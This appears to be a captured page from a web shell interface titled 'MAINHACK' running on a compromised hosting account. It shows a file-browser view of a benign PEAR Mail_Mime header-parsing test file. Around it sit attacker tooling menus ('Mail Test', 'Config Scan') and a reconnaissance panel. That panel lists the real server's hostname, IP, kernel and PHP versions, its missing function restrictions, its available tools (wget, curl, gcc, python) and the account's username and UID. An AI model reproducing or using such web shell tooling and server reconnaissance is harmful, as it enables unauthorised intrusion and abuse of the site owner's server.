[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: parse_header_value.phpt
File is not writable. Editing disabled.
--TEST-- Tests for _parseHeaderValue --SKIPIF-- --FILE-- <?php require_once 'Mail/mime.php'; $Mime = new Mail_Mime(); $Mime->setTXTBody('Test message.'); $contentAppend = 'testparam1="test1;semicolon";testparam2=two; testparam3="three"; ' .'testparam4="four\;4\;four"; testparam5=five\;5\;five; ' ."testparam6='six'; testparam7='seven;7';testparam8='eight\;8'; " .'testparam9="nine;9";testparam10="ten\;10"; ' .'testparam11=\'a "double" quote\'; testparam12="a \'simple\' quote"; ' .'testparam13=\'another " quote\'; testparam14="another \' quote";' .'testparam15=last'; $Mime->addAttachment('test file contents', "text/plain; $contentAppend", 'test.txt', FALSE); $body = $Mime->get(); $hdrs = ''; foreach ($Mime->headers() AS $name => $val) { $hdrs .= "$name: $val\n"; } $hdrs .= "To: Receiver <receiver@example.com>\n"; $hdrs .= "From: Sender <sender@example.com>\n"; $hdrs .= "Subject: PEAR::Mail_Mime test mail\n"; require_once 'Mail/mimeDecode.php'; $mime_message = "$hdrs\n$body"; $Decoder = new Mail_mimeDecode($mime_message); $params = array( 'include_bodies' => TRUE, 'decode_bodies' => TRUE, 'decode_headers' => TRUE ); $Decoded = $Decoder->decode($params); $decodedParts = $Decoded->parts[1]->ctype_parameters; //Bug #4057: Content-type params now have a name attribute. unset($decodedParts['name']); print_r($decodedParts); ?> --EXPECT-- Array ( [testparam1] => test1;semicolon [testparam2] => two [testparam3] => three [testparam4] => four;4;four [testparam5] => five;5;five [testparam6] => six [testparam7] => seven;7 [testparam8] => eight;8 [testparam9] => nine;9 [testparam10] => ten;10 [testparam11] => a "double" quote [testparam12] => a 'simple' quote [testparam13] => another " quote [testparam14] => another ' quote [testparam15] => last )
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.95 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: N/A